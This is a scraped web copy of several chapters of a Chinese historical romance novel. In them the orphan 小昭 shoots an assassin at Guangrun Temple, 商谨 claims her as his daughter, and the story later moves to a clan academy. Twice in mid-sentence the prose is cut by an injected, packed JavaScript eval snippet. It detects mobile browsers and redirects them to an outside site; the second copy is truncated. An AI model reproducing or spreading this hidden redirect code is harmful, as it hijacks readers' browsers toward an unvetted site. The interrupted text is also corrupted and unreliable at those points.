商谨弯下腰,虚虚托起她的小臂,示意她起身:“你小小年纪,见地却不凡,若只在寺中整理洒扫,有些可惜了。今后你便到清凉台上,随我一同读书勘校罢,照理说,我该收你为徒,只是……” “只是他应允过旁人……” 广润寺塔四角垂铃,今夜无风,一片静谧。但在这句话突兀响起之后,一阵不知何处来的风,将小昭头顶的铜铃吹得响了一响。地面上的薄页纷纷移位,有几张甚至飞舞到齐人之高,才悠荡着落下来。 商樾自五级浮屠的阴影下缓步走出,月光银亮,小昭看向他,忽而生了些奇异的感觉。 “他应允过旁人,这一生只能收一个徒弟。” 话说得似有些讥诮,语气却彬彬有礼。 商樾抖了抖衣袖,向商谨深揖,起身的时候,状似无意地看了一旁站着的她一眼。 小昭明白奇异之处在哪里了。 ——今日他面上施了薄粉,掩去了眉心的那粒朱砂。 商谨全然忽视了他方才的言语,没有解释,只是微笑着问道:“天色已晚,你怎么过来了?” 商樾恭敬地叉着手,答道:“今日仲秋,我来为父亲拜寿。” 13.悼玉(四) 悼玉(四) 商樾带了一双玉璧做贺礼,略坐了一坐便飞快地走了。小昭将他送至山门处,猛地想起:“公子的披风,我已洗好,前些时日在病中,忘记归还了。公子下次来时,一同取回罢。” “不必了。” 商樾摆了摆手,冲她温温一笑:“上次来没见到你,病可好全了么?” 几个月下来,她虽缠绵病榻,但夜中噩梦少见,不必忧心明天会饿死,竟还胖了一些。小昭伸手戳了戳自己的脸颊,答道:“全好了,多谢公子。” “只是没有找到你妹妹,抱歉。”商樾略微垂眸,“我不常来广润寺,若有不周之处,你便遣阿应告诉我……告诉父亲也好。天凉了,制些新衣,多加餐饭,保重。” 珠玉一般的人物,名满京华,却温柔谦卑,从不因身份的悬殊生出半分怠慢之色。这些时日,她同寺中众人混得熟稔,每个人提起他,都双手合十,念着商二公子与令君真是好人,洛阳城中空前绝后的好人。 小昭对商令君尚不了解,但这位二公子在她心中,确如传言一般,慈悲、肃穆,广施恩泽,似一尊白玉雕出的观音像。 供奉殿前泥糊的法身,还不如供奉这些乱世中逆流的“好人”,如他,如韩仪。 至少,他们是真的能够渡众生的。 但正因是好人,才难以在这个浑浊的世道中顺遂地活下去,被逼得丢官弃爵、遁入空门,被逼得三缄其口、孤木难支。 被逼得焚身自毁,灰飞烟灭。 小昭心中又泛起那种久违的无力感,可她如今什么都做不了,祝福都是干巴巴的:“公子也多保重。” 商樾今日没有骑马,坐了一架文人逸士最爱的青帷牛车。上车之前,他像是想起了什么,回过头来对她温温一笑:“父亲学识渊博,你跟着他,定有进益。只是……他那‘灵性’‘收徒’之类的话,对寺中每一个孤儿都说过。看来当年公主逼父亲立誓,颇有道理,如若不然,父亲的徒弟可要遍布洛阳城了。” 打趣的语气。 他说话总叫人觉得如沐春风,这句也不例外,甚至多了几分亲昵,但小昭听在耳朵里,总觉得有些别扭,仿佛窥到了父慈子孝之下的诡异阴影。 她来不及再说些什么,牛车便从山门前缓慢地行驶了过去,飘荡的青纱幔拂过她的身侧,像是招摇的鬼手。 接下来的时日,更印证了她的想法。 小昭自那日开始便跟随商谨左右,他平素在清凉台上解《尚书》,她便在一侧校字誊抄,省去了商谨不少后续整理的功夫。只是《尚书》中大多句子过于含混浩大,她日日精习,才能勉强领悟几分。 商谨对小昭赞不绝口,虽然寺中所有孤儿都时常得他各色称赞,但说归说,至今没见他让旁人登过清凉台侍书。 离他近了,见商樾的频次便高了起来。 自商谨辞官以来,江陵商氏在洛阳的势力便颓靡不振。老者大多是虚爵,少者有些出息的都依附着颍川商氏,不肯在族中管事。 是而偌大一个宗族,庞杂事务都压在了商樾一个人身上。 他今年才满十八岁。 年纪太轻,被刁难是常有的事——老人不满商谨作为,只能对商樾施压;中青辈虽为避嫌不好插手家族事务,但被小辈骑到头顶,怎能善罢甘休。 也不知这未及弱冠的少年人,是怎么避开这些人的明刀暗箭,安安稳稳地维系着家族太平的。 他甚至还有空出席清谈、宴会,为自己造出完美无瑕的好名声。 小昭私下猜测,他不肯出仕,多少有忙不过来的缘故。 无论再忙,他每月必有一日来广润寺,事无巨细地向商谨汇报宗族事务,若逢节日,还会特地前来拜见。 二人说话从不要她回避,情态与那日在塔下一般无二。 这一对父子客气得像是昨日才在朝堂中相识,因有长幼尊卑,才不得不恪守礼节。 不过他们之间的纠葛,就算窥得破,也轮不到她来管。 小昭跟着商谨在清凉台上端坐,一坐便是半日。商谨偶尔遣她出来、静坐冥想,小昭便跑到隔壁的藏经阁中读书——阁中一半是佛经,另一半则是商谨从府邸中带来的典籍,有不少还是孤本。 江陵商氏虽不似颍川别支以儒立身,但累世公卿的大族,必定格外注重子侄教育。藏经阁中所存,就连佛典,都是当世高僧昙摩罗刹新译的经书,更别提那些整齐明了、分门别类的经史子集。 这些书籍,韩氏族学中纵有,也残缺不全、阐释不明。 小昭读书不论儒释道,凡没看过的,抓起来便苦读。可惜商谨虽乐意答疑,终归不是族学中能时时为她解惑的先生。她啃得眼下乌青,仍是满腹疑惑。 商谨看在眼中,便多了个习惯——每日清晨,他都要在清凉台上铺一卷竹席,唤她过来说话。 初时是讲他手边的《尚书》,他问她答。 但此书太过艰深,小昭很难与他对答,后商谨改讲颍川商氏早年所擅的京氏易,讲了两天又改作《公》《榖》二传,再后来干脆不讲书了。他从她读过的、有疑惑的东西中摘出“人”与“事”来,要她评点。 起先,她说得坑坑洼洼,时常被商谨问得面红耳赤。 小昭十分愤懑——在家乡时,阿母和她都是出了名地会吵架,同龄人中毫无敌手。阿母能把嚼闲话的妇人说得痛哭流涕,她也时常将欺负人的孩童气得哇哇大哭。 家学渊源,不可丢弃。 于是小昭愈发刻苦,入冬之后,她终于吵赢了一场。商谨拊掌大赞,在腊日遣人买了果脯分发全寺,连扫地的小沙弥都得了三枚。 本朝腊日在十二月辛丑,腊鼓鸣、春草生,天地大祭、阖家团圆。但商樾午后送来了一封书信,称族中开宴、无法前来,还请父亲见谅云云。 小昭将他的信念了,忍不住问道:“令君不想回去同家人团聚吗?” 这些时日相处,她已不再像初入寺那般拘谨。商谨看似一本正经,实则闲来无事便在寺中走动,笑眯眯地为孤儿和小沙弥们讲鬼故事,或者与老眼昏花、不苟言笑的寺主诡辩,将他气得吹胡子瞪眼。 黄鼬是上蹿下跳地找事,他则是温文尔雅地寻开心,黄鼬对此十分敬佩,认为商令君是天下第一聪明人。 聪明的商令君听了她的疑问,沉默片刻方缓缓道:“不必了。” 未等小昭追问,他便继续道:“小昭,你还有想要团聚的人吗?” 小昭摇了摇头:“都在寺中了。” 她苦笑一声,摩挲着手中的蜜饯:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784999|156673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿母和阿姊,都爱吃这些甜食,妹妹若在,应该也很喜欢。公子赠我的那一串甜粽,我当初还特地留了一枚,都放坏了,真是可惜。” 眼见她有伤怀之色,商谨咳了一声,忽然说:“其实,除了血亲,我还有一位想要团聚的故人。” 小昭立刻从自怜自哀的情绪中抽离出来,好奇地问:“是令君那位徒弟吗?她……不在洛阳?” “她在很远的地方,”商谨道,“我们许久没有见过面了,自我入空门始,一年、两年……居然已经有六年了。” “这么久?”小昭讶异道,“这是离了多远呀?” 商谨道:“要顺着官道出洛阳,越过颍川、汝阴、淮南,渡过大江,还要经过扬州、建邺……” 小昭越听越熟悉,她在含糊记忆中仔细搜寻,只依稀记得韩仪说,商谨曾为长公主侍讲。商樾仲秋夜来时也曾说过,当年是“公主”逼商谨立誓。 她不知道王朝有几位公主,竟丝毫没有多想。 但如今她知道了。 因为住在大江那边的公主、六年前被逐出洛阳的公主,应该只有这一位。 “令君的徒弟……” 小昭喃喃自语,愕然道:“是始宁长公主?” 韩仪留下的玉佩被她用一根红线穿起,挂在颈间,垂在心口之前,从未示人,连阿树都没有见过。 此刻它正随着她的心怦怦乱跳。 “你听说过她?”商谨有些意外地看着她,语气带笑,眼神飘得很远,“她年少的时候,与你的脾性极为相似,不知如今改了没有。” 两人说话的地方地处前庭,此句方落,门外便遥遥传来了马鸣之声。马蹄声“哒哒”地近了,随后停留在寺门正中,迟迟没有再动作,也不见有人进门。 小昭按着胸前的玉佩,努力平息了自己的心跳:“是公子来了罢,他怎么不进来?” 商谨扬了扬下巴:“你去替我迎一迎他。” 小昭应声而去,果然见商樾站在阶前,手执马鞭,神色平静,不知在想什么。 他骑马到此,便是一个人来的。 “公子。” 小昭唤了他一声,商樾便抬起头来,面上瞬间带了笑:“嗯?” 这笑来得太过突然,像是他下意识的举动。小昭盯着他,竟感觉到了一丝莫名其妙的虚假:“公子既来了,怎么不进门?” “我在看这石阶,”商樾对答如流,“石阶是重砌的,东苑大火那日,这里也着了火,阶前芳草烧尽、碎石成碑。说来奇怪,重砌之后,阶上再也没有冒过新绿。” 他一边说,一边撩着宽大的衣袍,自然而然地拾级而上,好像这停顿真的只是为了观看空空如也的石阶。 小昭的心思还在方才与商谨的对话上,她心思飘忽地跟着商樾走了几步,耳朵猛地一动。 夜中漆黑,三门前两尊金刚力士黑影憧憧,她转头看向左手边那一尊张口石像,凝神片刻,果然再次听见了窸窣的异响。 “公子小心!” 黑影从张口力士石像的背后飞快袭来,雪亮寒光一晃而过。小昭眼疾手快,一把推开商樾,下意识地摸向自己的后腰,却没有摸到防身的短剑——今日商谨以“兵刃”为题,论辩之时,她将短剑解下,搁在了那张竹席上! 14.悼玉(五) 悼玉(五) 情急之下,小昭退了一步,单手按着造像石底,飞身向他持刀的手踢去。 对方一把抓住了她的脚腕,将她猛地向下一拽。长刀带着呼啸风声迫近颈侧,她用尽全力曲肘痛击他的小腹,才勉力逼退了这凛然的杀招。 刀刃在颈间留下了一道浅浅的伤口。 这几近吻颈的一刀! 夜色中,小昭看不清对方的长相,只能粗略判断出是个男子。 此人用刀娴熟、出手迅疾,身手远在那日只有蛮力的胡兵之上,甚至比教习过她的韩氏府兵更为老辣。 是刺客! 她手无兵刃,太过吃亏,仓促与他过了几招,没有找到破绽。刺客亦无心缠斗,察觉到她难缠之后便作佯攻,刀锋贴近后猛地一转,架在了她身后的商樾颈间。 寒夜中的刀光将商樾的淡色瞳孔映亮了一瞬。 小昭一时大意,却不敢再妄动:“公子!” 商樾垂下眼睛,微微蹙眉:“黄金槽、鱼鳞刀,君为禁内之人?” 那刺客推着他向寺内走去,声音沙哑,没有回答他的问题:“二公子好谨慎,我还以为二公子不带侍卫是一时大意,没想到这广润寺中,也是卧虎藏龙哪。” 商谨本就站在前庭塔下,闻得异响,转身便看见了被挟持的商樾。 小昭捂着脖子跑到他的近前,发现他向来温和带笑的面色一下子冷了下来。 腊日,众人皆在后院聚会,前庭伶仃,但商谨屈指咳了几声后,忽有一群黑影自四面集聚而来,不消片刻就到了小昭身后。 小昭扭头去看,只见这一群人服色各异,乞儿、沙弥、伙夫、扫地僧,有几个平素还与她相熟。 众人或持刀剑、或佩长弓,神色肃然,十足陌生。 “若天子要赐樾一死,何必费此周折?” 商樾却没有关心四周的暗潮汹涌,他伸手敲了敲那把鱼鳞刀,气定神闲:“若非天子所遣……” “《太始律》有载,持人为质,因由不论,皆斩。你以御刀挟公侯臣僚,可夷三族。” 刺客阴阴笑道:“三族只我一人,若有二公子陪葬,实在上算。” 他抬头环视了一圈,似乎没想到周遭有这么多人,手中的刀又逼近了些:“令君,叫你的人退后些罢,长公子死后,你可就这么一个儿子了。” 商谨又咳了几声,示意众人停步:“阁下挟持吾儿,总要换些什么罢,不妨明白告知。” 刺客道:“令君是聪明人,实话说,我本不欲叨扰令君,只是运气太好,竟撞见二公子独行。只有劳烦令君为我备车一架,内置黄金、食水、通关凭证,亲自驾车送我出城。出外城七里之后,我自会收刀。” 他比方才紧张,说得急了一些。 刀是御刀,他不为天子办差,那必定是禁内奔逃而出的犯人。 小昭正暗自思忖,便听商樾突兀道:“君欲出城,怎么不等夜更深些再动手?此刻内城眺台明火未熄,广润寺距城门不过五里,登高、望远,就算禁内追捕之人未到,城上值守校尉勤勉些,也能察觉寺中有变。” 他说得不疾不徐,只在“登高”二字处刻意顿了顿,眼神朝小昭所站之处一飘。 小昭顷刻便读懂了他的暗示,连忙隐在退后的侍从之中,趁乱取过其中一人的弓箭,猫腰绕到了广润寺塔的另一侧。 刺客冷笑一声:“说得是啊,所以,还请令君抓紧些,我不过贱命一条,二公子却是金尊玉贵。若真有人来,刀剑无眼,便不好收场了。” 小昭握着那张从侍卫手中抢过来的长弓,一口气爬上了广润寺塔的三层。 侍卫多已隐匿于夜色之中,塔下惟余三人对峙,她低头看去,见商谨似是应了刺客要求,扬手唤来一个老仆,正对他附耳叮嘱。 而刺客警惕未减,不住四顾。 她连忙缩回头去,蹲在窗后,紧紧贴着木塔的塔身。 浮屠神圣,未经允准,不可攀登,这还是她第一次进入塔中。可惜夜中光暗,只能隐约瞥见四壁纹饰繁复,天花乱坠,不见佛面。 藏了一会儿,听见那老仆匆匆离去,小昭才谨慎地再次探出了半个脑袋。 刺客正与商谨对话,不知二人在谈论什么,竟让他松懈了些。而此刻,商樾像是察觉到她的目光一般,下巴微抬,朝她看了一眼。 塔檐下的铃铎为风所激,发出一阵泠然清音。 就是现在! 小昭当机立断,拉弓上箭,在刺客听见弓弦绷紧的声音之前,把这一箭送了出去。 “咻——” 箭簇精准地没入了刺客的右臂,他一时吃痛,暂松了持刀的右手。商樾仰头避开他挥舞的锋刃,一手捏住他的虎口,从刀前脱身之余,还反手一扭,逼得那把御刀“当啷”一声落在了地上。 小昭本欲立刻射出第二箭,谁料那刺客失刃之后,竟未反击,丝毫不恋战地连退五步,扭头向唯一没有侍卫的东墙狂奔而去。 他是要越墙逃走! 庭中的侍卫连忙去追,还未跑近,小昭便沿着广润寺塔的塔檐轻巧地跳了下来,正落在商谨与商樾之前。她来不及说话,左眼微眯,再次搭箭上弓。 空气中传来一阵嗡嗡绷紧的弦音。 这一箭已被拉满了弦! 商谨在一侧目不转睛地注视着她的动作,诧异之余更有些惊叹。 随后飞箭如雷霆般乍然划过夜空。 刺客刚刚翻身上墙,听见破弦之声,回头去看,却正巧令这一箭直直刺入了他的眉心。 箭簇穿颅而过! 满弦的力道甚至带着他在空中迟滞了片刻。 他目眦欲裂,带着满面的不可置信,重重坠下了墙头。 小昭手一松,懈力地将弓箭丢在了地上。 “失手了……” 商樾离她近些,听见她有些懊恼地小声道:“本想留个活口的。” 颈间传来刺痛,想来是刺客持刀迫近时轻重不分,也伤了他。商樾盯着小昭与他同一位置的伤口,不合时宜地出神想到,这把御刀先染了她的血,后贴近喉管,将这一抹殷红融在了他的颈间。 他素来喜洁,车驾都不肯与人同乘,第一次破例,便是托她上了那匹名为“素雪云飞”的白马。 当日,他在族中受了家刑,又逢忘得一干二净的梦魇,猛地撞上一双明亮如淬火的眼睛,鬼迷心窍,才一反常态。 但今夜,冷铁置于颈侧之时,他分明是波澜无惊的。 说来奇妙,与另一个人身体最脏污、也最滚烫的血交融,他竟未生丝毫反感,只觉得伤处微微发烫。 不过那红还是刺眼了些。 商樾抽了袖中的丝帕,伸手去擦拭她伤处的鲜血。小昭“嘶”了一声,丝毫没有推拒,反而微微仰头,方便他继续动作。 他眼睫微动,轻声问:“痛吗?” 她看着他。 今日他也施了薄粉,眉心素白,向来宁和的眼神望向她时,起了些浮动的波澜。 一张观音幻相,因失了那颗朱砂红痣,竟寂灭了一瞬。 若说荒郊道边相救、寺前开口关怀时,那种感觉还是若有似无,方才那一句,他实打实地有了情绪,或是“怜惜”,或是“动容”。 总之,那种淡漠的疏离感消散许多,他也不再是莲台之上永远悲悯的泥像了。 所谓水月,便是三十三重法身。 于是小昭冲他露出了一个笑容:“这次我很小心,不曾染污衣袍。” 商樾的手指不经意地划过她的下巴,微微颤栗。 “做得极好。” 他还没有将她伤处渗血尽数擦干净,便被一声清脆的“叮”打断了。 三人都被这微小的声音吓了一跳。 ——一块古朴的玉从小昭衣襟间滑落,掉在了地上。 小昭心口一空,伸手摸向自己的脖颈,发现掉落的竟是韩仪相赠的玉佩。 怎么会让它掉了出来! 她躬身去捡,迟钝地想,应该是方才那几近吻颈的一刀割断了玉佩上的红线。 那块四象蟠螭玉佩不偏不倚地落到了商谨脚边,他低头一瞥,面色骤变,先她一步捡了起来。 “令君——” 商谨死死攥着那块玉佩,反复摩挲,顾不上称赞她方才的英勇,近乎失态地急切问道:“这是……哪里来的?” 小昭含糊道:“是故人的遗物。” 话刚出口,她便想起了商樾来前二人的对话,继而想起,韩仪托她将玉佩“还”给始宁长公主,可见此物曾为公主所有。商谨与长公主以师徒相论,认得她的旧物,算不得奇怪。 两人应有一段情谊在。 暴露在他面前,总比暴露在其他人面前安全。 小昭微松了一口气,仍不敢大 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商谨看了一侧的尸体一眼,笑着答道:“元真领洛阳西尉三月,威风凛凛,我险些没有认出来。” 来人姓陈名俨,字元真,他年少娶妻,娶的是广平彭氏女。而彭氏女的同胞兄长,正是那位嫉杀商柏、被极刑处死的彭五公子。 商樾一贯温和有礼,见到此人不仅没有搭话,连眼皮都没有掀一下。 陈俨此时无暇与他计较,只伸手往身侧尸体一指,正色道:“令君见谅,今日禁内不安,洛阳六部尉同领上令,追捕宫中逃奴。我领人自西明门一路追至广润寺前,正见寺中有壮士射箭,将这逃奴一击毙命,倒叫我白捡了个大功劳。我进门是为寻找那位发箭的壮士,请他和我一同入宫城面见大司马,领赏去罢。” 他这一番话说得又急又快,商谨面色不变,笑回道:“哪有什么壮士?今日犬子出门未带随侍,广润寺又在尘世之外,确实情况危急。幸而他平素勤勉,不曾松懈君子六艺,这才未让那罪奴逃脱。元真既逢此事,那便是你的机缘,何苦与他人分功?” 陈俨挑了挑眉,露出一个嘲讽的笑容来:“是么,可我见二公子双手洁净,倒是……” 小昭缩了缩手,可他进门时便已瞥见,志在必得:“倒是这位女郎手上留了拉弓的红痕,啧,年纪轻轻,竟有如此功底,真是难得。令君何必藏着掖着,待我禀报大司马,为女郎讨封赏。” “只是不知……她是何身份?是令君收养在寺中的孤儿么?” 小昭心中急转,终于猜出了他的来意。 追捕罪奴不过是幌子——说不定那刺客就是眼前之人故意遣到寺中来的,受伤后转头就跑,因为他只是想引出寺中的习武之人! 如此想来,幸亏方才一箭要了刺客性命,不然他转述寺中情形,便可为商谨扣一个私养死士的罪名。 虽说天下士族无人不养部曲,但商谨身在佛门之内,隐瞒不报,本就违制。本朝开国时死士出力不少,有前车之鉴,罪名可大可小,却足以引发冯凭猜忌。 这人要她去“领赏”是假,从她口中逼问出寺中情形才是真。 于是小昭向他一揖,斟酌着道:“贵人多心了,射艺不过是我闲时所习,今日杀贼,侥幸罢了。” “是么,可我见女郎那一箭雷霆万钧,非苦练数年,断不能如此。” 见商谨沉默不语,陈俨眼珠微转,伸手就要来抓小昭的胳膊:“……令君不答,我就先将人带走了。” 商樾伸袖拦住了他,冷冷道:“伽蓝圣地,西尉自重。” 商谨亦缓缓道:“人,你不能带走。” 陈俨见二人不愿让步,愈发认准了自己的猜想:“只不过带回去问话罢了,问清楚了或许还有赏赐呢,令君何必如此?二位不知她为何身手不凡,她又不愿说实话,我便替你们问上一问。广润寺中身份不明者众多,这样的女郎,或是贱奴,或是孤儿,令君慈悲心肠,收留时未必一一查过,万一她……” “不可能,”商谨微笑着道,“元真说的不错,广润寺中孤儿众多,我未必一一细查过,可她——” 他垂眼看来,目光从她面上掠过。 小昭只听见了他十分平静的声音。 “……是我的亲生女儿。” 15.采薇(一) 卷二·小山篇 采薇(一) 两年后。 元康八年,立夏前日,洛阳竟淅淅沥沥地下了一场小雨。 直棂窗中吹入的水汽与博山炉上扬的香烟交融,在室内绕出一个缠绵悱恻的圆。水雾缓缓地、贞静地越过围屏,流到坐榻上昏睡的女子身边。 在青桂沉香湿润的味道中,小昭从午睡中醒来,迟钝地抓起了盖在脸上的古籍。 她先看见了窗外昏沉摇曳的竹影。 今日是个响晴天气,午睡之前,山中仍是晴光荡漾,她已久不见阴雨,几乎疑心自己是在做梦。 小昭抓着那本书,走到了门前。 自元康二年始,大旱从关中绵延至中原,元康六年、七年更是连年旱灾。天象诡异,春夏不雨,孟冬不雪,偶尔降下凝结的硬雹,还会将初生的作物砸得奄奄一息。 这样温润含情的雨,真是好久不见了。 小昭怔然望着面前的雨幕,心道,今日是八年春的最后一日,天降甘霖,不知是不是个好兆头。 她还在发呆,便听见雨中传来了遥遥的、清脆的少年音。 “小昭,小昭——” 此处为颍川商氏建于洛阳西南玄壅山上的族学,因学中有当世大儒执教,又名臣辈出,逐渐成为了远近闻名的书院。后汉之初,商氏请了位隐居山中的大儒,为它题了一块“南山书院”的牌匾。 广润寺生变后,小昭稀里糊涂地跟着商谨和商樾回到商氏。商谨雷厉风行地压下了族中纷乱议论,开宗祠、祭先祖,强硬地称她为自己隐匿多年的亲生女儿,并以生母无名卑贱之由,将她记到了商樾母亲名下。 商谨年少成名、洁身自好,因从未纳妾,男女事上声名极佳。如此闹了一场,城中风言四起,更有甚者翻出他教授公主时的私隐,大肆传扬了一番。 就连冯凭都有所耳闻,召他入宫对谈了半日。 小昭心中隐约能猜到商谨如此行事的缘故,又不确信,犹豫再三,还是寻到他,将玉佩的来由、韩仪死前托付尽数说了出来。 谁料商谨根本没有她想象中那般关心玉佩的来处,倒对她的年少遭遇更感兴趣。二人秉烛谈了一夜,破晓前,商谨忽然开口,承诺等她长大后必定会送她去会稽、助她完成韩仪的遗愿。 但她要对案上烛火起誓,对此事三缄其口。 至于其间的深意,等到“合适”的时机,他自会告知。 做完一切后,商谨施施然甩手回了广润寺,将小昭扔给商樾照料。 小昭在商氏府中住了不到五日,便被商樾送来了南山书院,与本族及交好世家的同龄男女一起读书。 商谨认女,行事高调,小昭自入书院第一日,便不停有人背后议论。 商樾在族中掌事后便作结业,本已鲜少踏足南山,现因有位“妹妹”在此,每月总要来上一趟。 虽然二人关系只是淡淡的,但商二公子声名太好,让她都沾不少光——无论他们背后如何议论,面上总是友好和善的。 两年过去,她虽与一些人有过摩擦,但也交了不少朋友。 譬如眼前这一位。 小昭抬眼看去,少年撑着一把碧里青伞,一路撞落竹叶尖晃动的水滴,朝她跑了过来。 人还没到,笑语便传到了近前:“大家都在山门处祈福,你怎么没来?这雨下得真好,邓先生方才还说,令君那‘广润天下万物’的寺名取得妙极,今日之后,想必广润寺的门槛都要被踏破了。” 来人是商樾表姑母的独子,姓陆名峤,字子望。 陆峤与她同年入玄壅山门,本非洛阳人士。听闻他性情顽劣、爱武如痴,闹得家中鸡飞狗跳,不到十二岁进了军营,更添了一身痞气。其母忍无可忍,修书一封,将他从军中薅回来,送进了南山书院。 初入南山书院时,他为小昭分走了不少注目,原因无他——颍川商氏一族文气颇重,江陵虽以武发家,磨砺数代,亦崇尚君子之风。而陆峤初来,大闹天宫,不是课上奇论频出,便是撺掇同窗与他效仿太祖做“摸金校尉”,半夜跑到后山挖坟。 偏生少年生了一张甜蜜面孔,有错就认,有罚便接,被打得龇牙咧嘴还要叮嘱一句“当心手疼”。书院中大半夫子对他又爱又恨,时日久了,当做平淡生活之调剂,也算一种乐趣。 而他找上小昭,是在元康七年的仲春。 商谨得知小昭会锻制兵器,遣人在城南近山之处为她买了一个铁铺,并精工巧匠几人,方便她下山锤炼。陆峤到广润寺中拜见商谨,正好帮她捎回了文书籍契。 他古道热肠,转交后执意陪着小昭下山去看,得知她不仅会打铁,还习武多年,欣喜若狂,非要与她比上一场。 小昭许久不摸兵器,没忍住,与他在铁铺后的荒草地上打了个难分胜负。 陆峤没能胜过这比他小了三岁的女郎,心有不甘,自此之后便不再钻研玄壅山附近的坟头,得闲便来找她比试。 刀、枪、剑、戟,拉弓射箭,也算有来有回。 小昭本不是沉闷性子,一来二去便与他熟了起来,相熟后更是时常被他鼓动,做些比平素出格的事。 商谨在族中极受尊敬,商樾虽然年少,却已有名士之风。头顶这两尊大佛,她与陆峤狼狈为奸,行事愈发大胆。 说来奇怪,她越大胆,欲与她交好之人便越多。 可见当今世道,横行霸道比隐忍收敛要吃香。 小昭帮他收了伞,打着哈欠道:“今日起了个大早,我困乏得很,回来一觉便睡到了现在。” 陆峤四顾一圈,奇道:“卫夫人今日不在?” 小昭摇头:“山中好像来了客人,阿嫂访友去了。” 当初商樾送她上山,本欲寻几个婢女照料,思来想去觉得不妥,便将她托付给了在族学中教书的商柏遗孀,卫姯。 卫姯是个冷清性子,对她管束不多。小昭倒很喜欢这位擅长天文演卦的“阿嫂”,时常向她讨教。 二人言语几句,小昭便粗略整理了一番,与陆峤一同往山门处去了。 雨丝细腻,坠地无声,她踩着湿软的地面,深深吸了一口气。陆峤在她身边撑伞,伞盖向她倾歪了一大半。 走了一段路,小昭抬头看了看,笑道:“不是说大家在山门祈福么,既为祈福,何必打伞?” 陆峤连连摇头:“你不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一瞬之间,他重新变回了那个对她彬彬有礼,却疏离得仿若不识的人。 此后,商樾尽心尽力地送她进了书院,经常遣人赠物,偶尔见面,也是耐心叮嘱。所有人都以为,虽然不如同胞兄妹那样亲密,但商樾对这个天上掉下来的妹妹,还是十分关切的。 只有小昭知道,他所做的一切,只是不想落人指摘的例行公事罢了。她再也没有私下见过他,与他说过一句交心的话。 今日观礼,本有另一件事要与他商量,可他闭门谢客后,小昭也不知道自己怎么想的,她不顾陆峤挽留,扭头就走,没有等他礼毕后告知表字。 面上功夫罢了,有何可等? 她一边想着,一边撕扯着随手摘下的竹叶,将它扯得乌七八糟。 然后她听见,细碎的雨幕中,出现了另一个人的脚步声。 小昭迟缓地抬起头来,做梦一般看见商樾正站在二人不远处,同样撑着一把青伞。见她抬头,他停住了脚步,面无表情地站在那里,没有露出惯常的笑容。 “小昭,”他唤她,“你来。” 16.采薇(二) 采薇(二) 她不知他的来意,沉沉应了一声,不情不愿地挪步上前。 陆峤举伞跟在她身侧,丝毫没有察觉到商樾与平时的不同,他用肩膀撞了她一下,低声道:“叫你不等他出来,你瞧,来找你算账了罢?不过,表兄平素也没这么小气啊……” 小昭踩了他一脚。 少男少女于雨雾中同伞而行,时而对视,时而嬉笑,情景温柔静美。当世尚情,便是最刻板的夫子看了,也说不出一句苛责的话。 商樾身侧有一株纤细新竹,正随着山风被雨打得左摇右晃。他侧头看了一眼,感觉指尖微微发冷,或许是在雨中执伞走了太久的缘故。 小昭走到他面前,低着头,微微屈膝:“公……” 漏了一个字便觉不对,连忙改口:“兄长安好。” 一侧的陆峤效仿她的动作,跟着她道:“兄长安好。” 商樾微微蹙眉,朝他点了点头:“子望,晨起匆忙,忘了告诉你。姑母给你写了信,信笺就在平风堂中,你记得去取。” 陆峤虽不拘小节,但也听出了商樾赶客的言外之意,立刻开口道:“劳烦表兄,我这便去取。” 随后将伞向小昭手中一塞,幸灾乐祸道:“我先走了。” 小昭把伞推了回去:“小心淋雨,我有兄长撑伞。” 言罢,她不等商樾开口,便自顾走到了他的伞下。 商樾不自觉地歪了歪手,将伞偏向她的头顶。 幅度很小,动作轻微,他比她高一些,大抵是看不出来的。 陆峤走后,竹林间只剩下了远近不一的风声和雨声。 两人皆是沉默,商樾走得很慢,小昭也不在乎他要带她去往何处,散漫地跟在他的身边。 不知走了多久后,眼前出现了一座凉亭。 飘飖风雨日,多雾小凉亭。 小昭捡了一侧坐下,仍然没有开口说话,商樾收了伞,单薄的蓝衣被风撩得衣角漫飞。 良久,他开口道:“你知不知道,我为何来寻你?” 小昭抬起头来,冲他露出了一个微笑:“我不会占卜,兄长还是直说罢。” 她很少这样笑,商樾看着她,莫名觉得有些熟悉,思索片刻才发觉,她是在效仿他的神情。 他叹了口气,无奈道:“昨日我看了你的信,你说,你要送我一柄佩剑,让我今日路过湛庐时,取了带过来。” 小昭掐紧了手中那片破碎不堪的竹叶。 “湛庐”是她为商谨送的那间铁器铺取的名字,取湛卢宝剑谐音。男子最重冠礼,她几个月前便为商樾画了宝剑工图,预备叫他带过来,在礼毕告知表字的时候正式相赠。 说来也巧,她此前并不知他会得一个什么样的表字,只觉珠玉配他,便在剑身上镶了一块水纹青玉。 寻常宝剑不该镶嵌这样脆弱的东西,但她送的是文人剑,想必出鞘的机会都没有几回。 “所以,”他静静地看着她,“你今日少话,是在生气吗?” 辛苦煅剑,煎熬心血,却连断虚堂的门都没能进去。她扭头就走,回笼觉睡得昏沉,自己也说不清自己的心情。 小昭没有理他,扭头向亭外看去。 商樾也不恼,只是不疾不徐地继续说:“晨起,我在湛庐取了剑,经过你堆杂物的书案。案上图纸纷乱,我时间富余,便为你整理,随后,我发现了这个。” 小昭移回视线,在他伸过来的手中看见了一枚玄铁箭簇。 霎时,一股凉意从她脊背上猛地爬了上来。 然而她面上神色半分未改,甚至故作惊讶道:“兄长这是什么意思?我闲来无事,在湛庐为自己制些兵器罢了,这也不过是一枚寻常箭簇,如何值得兄长特地带过来?” 她一边说一边伸手去拿,刚刚触到,商樾便抓住了她的手。 